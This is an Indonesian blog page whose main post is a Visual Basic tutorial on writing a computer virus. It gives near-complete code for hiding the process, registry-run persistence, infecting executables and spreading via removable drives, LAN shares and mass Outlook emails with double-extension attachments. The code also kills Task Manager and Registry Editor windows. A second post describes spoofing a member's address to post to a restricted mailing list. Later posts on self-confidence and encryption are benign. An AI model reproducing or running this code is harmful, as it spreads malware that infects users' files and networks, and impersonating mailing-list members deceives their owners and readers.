Selengkapnya...

} .post_header { margin:0; padding:0; height:60px; background:#fff; } .post_headerr { margin:0; padding:0; } .details { margin:0; padding:4px 0; border-top:1px dashed #bc581c; } .post-labels { background:url(http://bp2.blogger.com/_Zuzii37VUO4/R2iVSyjZEZI/AAAAAAAACeI/UgTKEfkUALU/s1600/folder.gif) no-repeat; margin:0; padding:0 0 0 20px; } .details .post-comment-link { background:url(http://bp3.blogger.com/_Zuzii37VUO4/R2iVTCjZEbI/AAAAAAAACeY/2XevMzxCuWM/s1600/list_comments.gif) no-repeat; margin:0; padding:0 0 0 20px; } #fecha { display:block; text-align: center; float:left;height:65px; font-family: Arial, Helvetica, sans-serif; width:62px; margin:0px 5px 0 0; background:url(http://bp2.blogger.com/_Zuzii37VUO4/R2iVHyjZEWI/AAAAAAAACdw/oiDQAZzm1fg/s1600/calendar.jpg); } .fecha_dia { display:block; font-size:1.2em; margin:0; color:#336699; font-weight: bold; padding:0.7em 0 1.1em 0; text-align: center; } .fecha_mes { display:block; font-size: 0.9em; margin:0; padding-top:5px; color:#fff; font-weight: bold; text-align:center; } .fecha_ano { display:none; visibility:hidden; height:0; } .post-footer { margin: 10px 0 0 0; padding:6px; background: #fff; } #blog-pager { padding: 10px 0 0 0; font-size: 14px; font-weight: bold; line-height: 18px; } .blog-pager-older-link { margin:0;padding:0; } .blog-pager-newer-link { margin:0;padding:0; } /*-- (Lateral) --*/ #sidebar-wrapper { float: left; width: 386px; margin: 1px 0 0 2px; background:#fff; } #sidebar-wrapper ul{ list-style: none; margin:0; padding:0; } #sidebar-wrapper li{ padding: 0; line-height: 24px; } #sidebar-wrapper h2 { font-family: Georgia, Sans-serif; font-size: 14px; } #sidebar_top { margin:6px 0 0 0;padding:8px; background:url(http://bp3.blogger.com/_Zuzii37VUO4/R2iVZCjZEfI/AAAAAAAACe4/ZO60BR2ICUo/s1600/sidebar_top.jpg) repeat-x; width: 369px; line-height:12px; text-align:justify; border:1px solid #91d3e9; font-size:10px; font-family:verdana; } #sidebar_top h4 { color:#0e5268; margin-bottom:3px; font-size:14px; } .widget-content { } .sidebar .widget { padding: 10px 0; } #sidebar1 { margin:0;padding: 0 1px 0 0; float:left; width:184px; } #sidebar1 ul{ list-style: none; } #sidebar1 ul li { padding: 0 0 0 20px; line-height: 18px; font-family: Arial, Georgia, Sans-serif; background:url(http://bp2.blogger.com/_Zuzii37VUO4/R2iVHyjZEVI/AAAAAAAACdo/84fBq9ZlKOE/s1600/arrow_blue.jpg) no-repeat 0px 0px; } #sidebar1 .widget { padding: 10px 0 4px 0; font-family: Arial, Georgia, Sans-serif; font-size: 11px; color:#7a888c; margin:0; } #sidebar1 .widget a:link, #sidebar1 ,widget a:visited { color:#0199cb; font-weight:700; } #sidebar1 h2{ font-family: Verdana,Arial, Georgia, Sans-serif; font-size: 11px; background:url(http://bp2.blogger.com/_Zuzii37VUO4/R2iVHyjZEXI/AAAAAAAACd4/mWYaYLI0oOo/s1600/cat.jpg) no-repeat top left; margin:0; padding:7px 0 0 8px; height:30px;width:182px; color:#FFFFFF; text-transform:uppercase; } #sidebar2 { margin:0;padding: 0 1px 0 0; float:right; width:181px; } #sidebar2 ul{ list-style: none; } #sidebar2 .widget { padding: 10px 0 4px 0; font-family: Arial, Georgia, Sans-serif; font-size: 11px; color:#7a888c; margin:0; } #sidebar2 .widget a:link, #sidebar2 .widget a:visited { color:#0199cb; font-weight:700; } #sidebar2 h2{ font-family: Verdana, Arial, Georgia, Sans-serif; font-size: 11px; background:url(http://bp2.blogger.com/_Zuzii37VUO4/R2iVHyjZEXI/AAAAAAAACd4/mWYaYLI0oOo/s1600/cat.jpg) no-repeat top left; margin:0; padding:7px 0 0 8px; height:30px;width:182px; color:#FFFFFF; text-transform:uppercase; } #sidebar2 ul li{ padding: 0 0 0 22px; line-height: 18px; font-family: Arial, Georgia, Sans-serif; background:url(http://bp2.blogger.com/_Zuzii37VUO4/R2iVHyjZEVI/AAAAAAAACdo/84fBq9ZlKOE/s1600/arrow_blue.jpg) no-repeat 2px 0px; } /*-- (Pie de página) --*/ #footer-wrapper { clear: both; width: 966px; background:url(http://bp3.blogger.com/_Zuzii37VUO4/R2iVTCjZEaI/AAAAAAAACeQ/0za-Ezx5YE8/s1600/footer.jpg) repeat-x; padding:10px 0; margin:0; } #footer-wrapper .links { line-height: 13px; text-align:center; font-weight:700; color:#fff; padding: 2px 0; font-size: 10px; font-family:Verdana; } #footer-wrapper a { color:#afe1f3; } #footer-wrapper a:hover { color:#53c7f2; } /*-- (Comentarios) --*/ #comments h4 { text-align:justify; font-size:14px; font-weight:bold; } #comments-block { margin:0 0 1px; padding:0; font-size:11px; } .comment-author { border-top:1px dashed #31afda; border-left:1px dashed #31afda; border-right:1px dashed #31afda; background:url(images/comment_l.jpg) repeat-x; padding:6px 15px 0px 15px; margin-left:0px; display:block; margin-top:10px; } .comment-body { border-left:1px dashed #31afda; border-right:1px dashed #31afda; padding:5px 15px 5px 15px; margin-left:0px; display:block; } #comments-block .comment-footer { border-left:1px dashed #31afda; border-right:1px dashed #31afda; border-bottom:1px dashed #31afda; margin-bottom:15px; margin-left:0px; padding:0px 15px 12px 15px; display:block; } -->

Rabu, 21 Januari 2009

Teknik Pembuatan Virus

Posting saya kali ini mengenai teknik membuat virus, sekarang banyak orang yang membuat virus dan menyebarkannya. Disini saya hnya ingin memberitahu saja teknik membuat virus tanpa basa-basi langsung saja ke topik.....

Syarat sebuah virus computer :

  1. Menyembunyikan prosesnya dari pemakai
  2. Mengaktifkan dirinya setiap startup sistem
  3. Menyebarkan dirinya melalui media file executable
  4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
  5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
  6. Menyebarkan dirinya dengan filename spoofing.
  7. Mempercepat proses penyebarannya dengan pendekatan social engineering
  8. Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai

Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False

Mengaktifkan dirinya setiap startup sistem

Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName

dan menambah ke registry :

Dim WShell as Object

Set WShell = CreateObject("WScript.Shell")

WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName

Set WShell = Nothing

Menyebarkan dirinya melalui media file executable

Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)

Dim tSignature As String * 5

Dim OriginalCode As String

Dim fNum As Integer

'Jangan menginfeksi diri sendiri

'Hanya menginfeksi file berukuran lebih dibawah 1 Mega

If Dir(fname) <> "" Then

If FileLen&(fname) > virSize And FileLen&(fname) <>

'Ambil nomor file

fNum = FreeFile

Open fname For Binary Access Read As fNum 'Buka file target

Seek fNum, LOF(fNum) - 5 + 1 'pindah file pointer ke posisi Signature Virus

tSignature = Space$(5)

Get fNum, , tSignature 'baca tSignature

Close fNum

If tSignature <> virSignature Then 'jika file virus (tidak ada virSignature)

On Error GoTo finally

Open fname For Binary Access Read Write As fNum 'Buka file target

OriginalCode = Space$(LOF(fNum))

Get fNum, , OriginalCode 'baca Program Executable

Put fNum, 1, virCode 'tulis Program Virus diawal

Put fNum, , OriginalCode 'tulis Program Executable

Put fNum, , virSize 'tulis Ukuran Virus

Put fNum, , virSignature 'tulis Signature Virus

Close fNum

finally:

End If

End If

End If

End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()

Dim OriginalCode As String

Dim tSignature As String * 5

Dim fNum As Integer

Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1

Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize

tSignature = Space$(5)

Get #1, , tSignature 'baca virSignature

If tSignature <> virSignature Then 'Jika file virus sendiri

virSize = LOF(1) 'ukuran virSize sama dengan ukuran file

virCode = Space$(virSize) 'siapkan buffer virCode

Seek #1, 1 'ke posisi bof

Get #1, , virCode 'baca virCode sebesar ukuran virSize

Close #1

Call VirInstall 'instalasi virus

If Not SudahLoad Then

Load ff 'aktifkan timer virus

End If

'Jika file yang terinfeksi

Else

Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize

Get #1, , virSize 'baca virSize (long = 4 byte)

'Baca vircode

virCode = Space$(virSize)

Seek #1, 1 'ke posisi BOF (Awal file)

Get #1, , virCode 'baca virCode sebesar ukuran virSize

OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer

Get #1, , OriginalCode 'baca originalCode

fNum = 0

Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""

fNum = fNum + 1

Loop

fname = exePath & App.EXEName & fNum & ".exe"

On Error GoTo finally

Open fname For Binary Access Write As #2

Put #2, , OriginalCode 'tulis ke file sementara

Close #2 'tutup file sementara

finally:

Close #1

Call VirInstall

If Not SudahLoad Then

Load ff 'aktifkan timer virus

End If

Call ExecuteOriginal(fname)

Kill fname 'hapus file sementara

End If

End Sub

Private Sub ExecuteOriginal(fname)

Dim Host As Long, HProc As Long, HExit As Long

Host = Shell(fname, vbNormalFocus) 'jalankan fname

HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)

GetExitCodeProcess HProc, HExit 'ambil status aktif

Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif

DoEvents 'lakukan event yang lain

GetExitCodeProcess HProc, HExit

Loop

End Sub

Private Function SudahLoad() As Boolean

Dim vir_hwnd As Long

'Jika Jendela virus aktif

vir_hwnd = FindWindow(vbNullString, titleSudahLoad)

SudahLoad = Not (vir_hwnd = 0)

End Function

Mempercepat proses penyebarannya melalui media pertukaran data dan informasi

Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.

Public Sub InfeksiFloppy()

On Error GoTo BatalInfeksi

Dim floppy_hwnd As Long

Dim fname As String

'Jika Jendela Floppy terbuka

floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")

If Not floppy_hwnd = 0 Then

Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan

End If

BatalInfeksi:

End Sub

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()

On Error GoTo BatalInfeksi

Dim ObjFSO As Object

Dim ObjDrive As Object

Set ObjFSO = CreateObject("Scripting.FileSystemObject")

For Each ObjDrive In ObjFSO.Drives

'Asumsi semua removable drive diatas huruf C adalah flash disk

'1 - Removable drive

'2 - Fixed drive (hard disk)

'3 - Mapped network drive

'4 - CD-ROM drive

'5 - RAM disk

If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then

Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")

End If

Next

BatalInfeksi:

End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()

Dim shares() As String, share As Variant, target As String

If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then

For Each share In shares

target = share

Call InfeksiResource(target, "XLSDOCEXE")

Next share

End If

End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()

Dim Domains() As String, Domain As Variant

If GetShares("", "Microsoft Windows Network", Domains) = True Then

For Each Domain In Domains

If Not stackDomain.isFull Then

stackDomain.Push (Domain)

End If

Next Domain

End If

End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()

Dim Computers() As String, Domain As String, Computer As Variant

If Not stackDomain.isEmpty() Then

Domain = stackDomain.Pop()

If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then

For Each Computer In Computers

If Not stackComputer.isFull Then

stackComputer.Push (Computer)

End If

Next Computer

End If

End If

End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()

Dim Drives() As String, Computer As String, Drive As Variant

If Not stackComputer.isEmpty() Then

Computer = stackComputer.Pop()

If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then

For Each Drive In Drives

If Not stackDrive.isFull Then

stackDrive.Push (Drive)

End If

Next Drive

End If

End If

End Sub

Public Sub InfeksiNetworkDrive()

Dim target As String

If Not stackDrive.isEmpty() Then

target = stackDrive.Pop()

Call InfeksiResource(target, "XLSDOCEXE")

End If

End Sub

Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()

Dim Outlook As Object

Dim Mapi As Object

Dim Mail As Object

Dim AddressBook As Variant

Dim MailAddress As Variant

Dim i As Integer, j As Integer

On Error GoTo finally

Set Outlook = CreateObject("Outlook.Application")

Set Mapi = Outlook.GetNamespace("MAPI")

For i = 1 To Mapi.AddressLists.Count

Set AddressBook = Mapi.AddressLists(i)

For j = 1 To AddressBook.AddressEntries.Count

MailAddress = AddressBook.AddressEntries(j)

Set Mail = Outlook.CreateItem(0)

Mail.Recipients.Add (MailAddress)

Mail.Subject = "Subject Virus Anda"

Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."

Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"

Mail.Send

Next

Next

finally:

Set Outlook = Nothing

Set Mapi = Nothing

End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.

Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.

Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()

Dim EnemyProcess(20) As String

Dim i As Integer

EnemyProcess(1) = "Registry Editor"

EnemyProcess(2) = "Windows Task Manager"

EnemyProcess(3) = "Process Viewer"

EnemyProcess(4) = "Open With"

For i = 1 To 4 Step 1

Call KillEnemyWindow(EnemyProcess(i))

Next i

End Sub

Private Sub KillEnemyWindow(target As String)

Dim Enemy_hwnd As Long

Enemy_hwnd = FindWindow(vbNullString, target)

If Not Enemy_hwnd = 0 Then

CloseWindow (Enemy_hwnd)

End If

End Sub

Kesimpulan :

Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.

Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

Lampiran A

‘API Declaration Modul

Option Explicit

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long

Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long

Public Const STILL_ACTIVE As Long = &H103

Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Public Type NETRESOURCE

dwScope As Long

dwType As Long

dwDisplayType As Long

dwUsage As Long

lpLocalName As Long

lpRemoteName As Long

lpComment As Long

lpProvider As Long

End Type

Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _

(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _

lpNetResource As NETRESOURCE, lphEnum As Long) As Long

Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _

(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long

Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long

Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long

Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _

(ByVal lpString1 As String, ByVal pString As Long) As Long

Const RESOURCE_GLOBALNET = 2

Const RESOURCETYPE_DISK = 1

Const RESOURCEDISPLAYTYPE_DOMAIN = 0

Const RESOURCEUSAGE_CONTAINER = 1

Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean

Dim hEnum As Long, nrLen As Long, nrCount As Long

Dim nr(2048) As NETRESOURCE, retval As Boolean

nrCount = -1

nrLen = 65536

RemoteName = StrConv(RemoteName, vbFromUnicode)

nr(0).lpRemoteName = StrPtr(RemoteName)

Provider = StrConv(Provider, vbFromUnicode)

nr(0).lpProvider = StrPtr(Provider)

nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN

nr(0).dwUsage = RESOURCEUSAGE_CONTAINER

If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then

If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then

If nrCount > 0 Then

ReDim sShares(nrCount - 1) As String

For nrLen = 0 To (nrCount - 1)

sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))

Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)

Next nrLen

retval = True

End If

End If

Call WNetCloseEnum(hEnum)

End If

GetShares = retval

End Function

Lampiran B

‘Form ff

Option Explicit

Dim SedangInfeksi As Boolean

Dim SpreadEmail As Boolean

Dim Aktifitas As Integer '0 = floppy, 1 = flashdisk

Dim Loncat As Integer

Private Sub AT_Timer()

Call KillEnemy

If Not SedangInfeksi Then ‘jangan overlapping proses

SedangInfeksi = True

If Aktifitas = 0 Then

Call InfeksiMySharing

ElseIf Aktifitas = 1 Then

Call AmbilDomain

ElseIf Aktifitas = 2 Then

Call AmbilComputer

ElseIf Aktifitas = 3 Then

Call AmbilDrive

ElseIf Aktifitas = 4 Then

Call InfeksiNetworkDrive

ElseIf Aktifitas = 5 Then

Call InfeksiFloppy

ElseIf Aktifitas = 6 Then

'Call InfeksiFlashDisk

ElseIf Aktifitas = 7 Then

Call InfeksiMySharing

ElseIf Aktifitas = 8 Then

If Not SpreadEmail Then

Call SpreadEmailOutlook

SpreadEmail = True

End If

Aktifitas = 1

End If

Aktifitas = (Aktifitas + 1)

SedangInfeksi = False

End If

End Sub

Main Program

Private Sub Form_Load()

Me.Visible = False

Me.Caption = titleSudahLoad

AT.Interval = 1000

SedangInfeksi = False

SpreadEmail = False

Aktifitas = 0

Loncat = 0

AT.Enabled = True

End Sub

Selasa, 20 Januari 2009

Yahoo!Group


Yahoo!Group adalah layanan mailing list tersebar di dunia saat ni setelah membeli
layanan mailing list dari eGroup. saat ini, Yahoo!Group menghosting hampir semua miling list besar di indonesia seperti mailing list Jasakom perjuangan, milplus (pembaca PC Plus), Itcenter, ilmu-komputer, telematika, genetika, indocisco, newbie_hacker, majalahneotiek, dlsb.
walaupun gerakan IT di indonesia yang dipelopori oleh Onno W Purba, Donny BU, dkk telah membuat mailing list server di tanah air yang beralamat di www.groups.or.id, tapi tampaknya dominasi Yahoo!Groups di Indonesia tetap tidak tergoyahkan.

Baiklah, saya akan menjadikan Yahoo!Groups sebagai contoh walaupun dengan teknik yang sama bisa juga Anda terapkan pada mailing list yang lain. Apa yang akan saya bahas disini adalah melewati proteksi pengiriman pesan yang hanya boleh dilakukan oleh member atau anggota sebuah milis. sebagai contohnya, mailing list telematika yanga dikelola oleh KADIN telah diset atau diatur agar hanya anggota mailing list tersebut yang boleh mengirim atau melakukan posting (All members my post).

Lalu bagaimana jika Anda ingin mengirim katakanlah suatu pemberitahuan yang sangat penting tapi ke para anggotanya sedangkan untuk mendaftarkan diri ke mailing list group tsb, Anda harus menunggu persetujuan (approval) dari moderator yang bisa memakan waktu berhari-hari. Perhatikan juga bahwa mailing list telematika memperbolehkan semua anggotanya mellakukan posting tanpa melalui moderasi.

Kini, sebenarnya apa yang dilakukan oleh Yahoo!Groups ketika seseorang mengirim email ke mailing list tersebut? Yahoo!Groups akan terlebih dahulu memeriksa alamat email pengirim apakah terdapat database member telematika. Jika tidak ada, pesan tersebut dakan langsung ditolak dan jika sebaliknya, pesan tersebut akan langsung disebarkan ke semua anggota mailing list. Lalu bagaimana Yahoo!Groups memastikan bahwa pengirim email tersebut adalah orang yang benar? Yahoo!Groups tidak pernah memastikannya! sifat dari email yang tidak memungkinkan untuk pemeriksaan kebenaran dari sang pengirim (kecuali pengguna proteksi tambahan seperti pengharusan PGP).

Dengan mengetahui hal semacam ini, Anda bisa mengirimkan email ke seluruh anggota mailing list telematika tanpa menjadi anggotanya walaupun jelas terlihat bahwa group tersebut hanya mengijinkan anggotanya untuk posting pesan.
Apa yang perlu Anda lakukan disini adalah mengganti alamat email anda dengan email salah satu anggota didalam mailing list telematika. Andaikan anda melihat bahwa seseorang dengan alamat email xxx@xxxx.com adalah anggota milis tersebut, anda bisa menggunakan alamat email ini untuk melakukan posting dan... minta maaf kepada pemilik alamat email yang anda gunakan untuk posting darurat ini.

Rabu, 28 Mei 2008

7 Tips TampiL PeDe

For friends yang masih kurang PeDe sama DiRi senDiRi, ada tips nih buat bangkitin rasa PeDe daLam diri kita.

* Berdiri Tegak

Langkah pertama yang bisa kamu Lakukan adLh merubah penampiLan,
berdirilLah yang tegak, busungkan dada n coba tampiL perfect.
couse penampiLan seseorang akan menetukan peniLaian orang Lain,
buat kesan pertama yang menggoda orang" yang ada disekitar kamu.

* Bersikap Asertif

Mulai sekarang cobaLah merubah sikap dan jadiLah orang yg tahu kapan harus berkata "ya" dan berkata "tidak".
coba sesekali untk tidak terLaLu membayangkan orang Lain akan berkomentar apa tentang diri kamu dan jangan takut bikin perubahan.

* Obyektif MeniLai Diri Sendiri

No body's perfect, ga' ada org didunia ini yang ga berguna. kita harus jujur dLm meniLai DiRi sendiri,
jangan menganggap dirimu tidak mampu dan org Lain Lebih ungguL dari kamu.
Semua'ya sama meski punya keahLian yang berbeda, jadi buat apa minder.....????

* Buang Rasa Takut

Biasa'ya org yg gak PeDe sLaLu kesulitan tuk mengungkapkan siapa diri'ya pada org Lain.
Supaya berani ngadepin org Lain adlah menatap mata Lawan bicara, memperhatikan Lawan bicara,
gimana cara bicara'ya, gmana mimik wajah'ya tapi jangan sampe keLewatan.

* Sedikit Basa Basi

Coba tuk bersikap basa basi saat berbicara pada Lawan bicaramu, tapi jangan terLaLu basi...

* Bicara dengan Lugas

Salah satu org yang kurang PeDe adLh tidak bicara Lugas sLaLu mutar-muter ribet kan....
n biasa'ya banyak berkata "eeeeeeeeeeee, anu, dan sbgai'ya.

* Be Your SeLf



Menjaga Rahasia Data Pribadi


Keamanan data sangatlah penting. Firewall, proxy dan antivirus akan membantu data anda dalam menjaga data pribadi anda. Namun, apa pun yang anda lakukan akan slalu ada pintu belakang yang dapat dibuka. Cara yang paling jitu adalah menggunakan enkripsi. Enkripsi adalah menerapkan berbagai macam algoritma matematika untuk mengacak teks biasa jadi kode rahasia yang bisa dibaca setelah kodenya disusun ulang. Enkripsi bertindak sebagai penerjemah yang mengolah informasi menjadi kode rahasia yang dapat dibuka oleh penerima tertentu dan anda sendiri.
Faktor utama yang perlu diperhatikan adalh tipe algoritma dan panjang kunci yang digunakan. Ada 2 tipe algoritma enkripsi yaitu single key dan publik key.
Single Key menggunakan kunci yang sama untuk proses enkripsi dan dekripsi. sebagai contoh : jika anda ingin mengirim laporan pada atasan anda yang harus anda lakukan adalah membuat private key, mengenkripsi dat dengan kunci tersebut kemudian mengirim data pada atasan anda. sebelumnya anda harus mengirim kunci tsb pada atasan anda melalui surat, fax atau telepon.
jika anda membutuhkan tingkat keamanan lebih tinggi gunakan enkripsi dengan
publik key. contoh saat anda mengirim laporan ke atasan yg harus dilakukan adalah atasan anda 2 kunci yaitu publik key dan private key. atasan anda mengirim publik key kepada anda untuk mengenkripsi dokumen.Dokumen yang sudah dienkripsi tsb dikirim ke atasan anda lalu atasan anda akan menggunakan private key untuk mendekripsi dokumen. Kelemahan dari publik key ini adalah kerjanya lebih lambat dibanding single key. Alasan utama penggunaan enkripsi adalah keamanan, keandalan, kerahasiaan dan kemudahan. saat anda hendak memilih aplikasi enkripsi, pastikan adanya feature-feature berikut :
  • Ease-of-use : aplikasinya harus mudah dimengertidan dapat diterapkan dalam waktu yang tidak lama.
  • Reliability : jika digunalan dengan benar, aplikasinya harus dapat mengembalikan info seperti aslinya setelah didekripsi.
  • Security : apikasinya harus dapat menyembunyikan informasi dari seua pihak selain yang berwenang.
  • Confidentiality : aplikasi harus dapat memastikan integritas informasi tetap terjaga selama dikirim dan harus memiliki tanda tangan digital atau metode lainnya untuk memastikan integritas informasi.
Anda dapat mendownload aplikasi enkripsi di
www.pgp.com/products/freeware.html
www.cryptainnerle/index.htm
www.baroufasoft.com/zero footprint1.htmx
www.jetico.com/
www.ashampoo.com/

Variabel utama lain yang mempengaruhi enkripsi adalah panjang kunci yang digunakan oleh algoritmanya. Panjang kunci biasanya direpresentasikan sebagai jumlah bit yang digunakan untuk membuat kunci enkripsi. Semakin panjang kunci semakin baik, tapi hal ini ada batasnya, ketika panjang kunci sudah tidak menjadi masalah karena besarnya sumber daya dan waktu yang dibutuhkan untuk memecahkannya.

Standar protokol Enkripsi


AES ( Advanced Enkcryption
Standard )
AES
adalah sebuah block chiper yang diadopsi sebagai enkripsi standar pemerintah Amerika Serikat. AES dikembangkan oleh dua kriptografer Belgia, yaitu Joan Daemen dan Vincent Rijmen yang disebut Rijndael. AES memiliki ukuran tetap untuk blocknya yaitu 128 dan untuk key yaitu 128, 192, 256 bit.

Blowfish
Standar enkripsi yang juga banyak digunakan. Ia adalah algoritma block chiper yang dikembangkan. Blowfish berbentuk variable-length key algorithm. Panjang kuncinya adalah 128 bit dan 160 bit.

DES
DES memiliki fixed key length 56 bit. DES block chiper algorithm dikembangkan oleh National Institute of Standard and Technology (NIST) Data Encryption Standard.

Triple DES
Varian dari DES yang mengenkripsi tiga kali lipat dengan DES 56 bit key. pertama teks atau file dienkripsi sekali. kedua teks atau file dienkripsi lagi, kemudian dienkripsi untuk yang ketiga kalinya dengan sistem DES.

RC4
Stream chiper yang dikembangkan oleh RSA Data Security, Inc. Panjang kuncinya bervariasi, tetapi secara tipikal dibatasi sampai 40 bit. Versi 40 bit dari RC4 bisa dijumpai pada fungsi enkripsi MS Office 97.

MD ( message Digest )
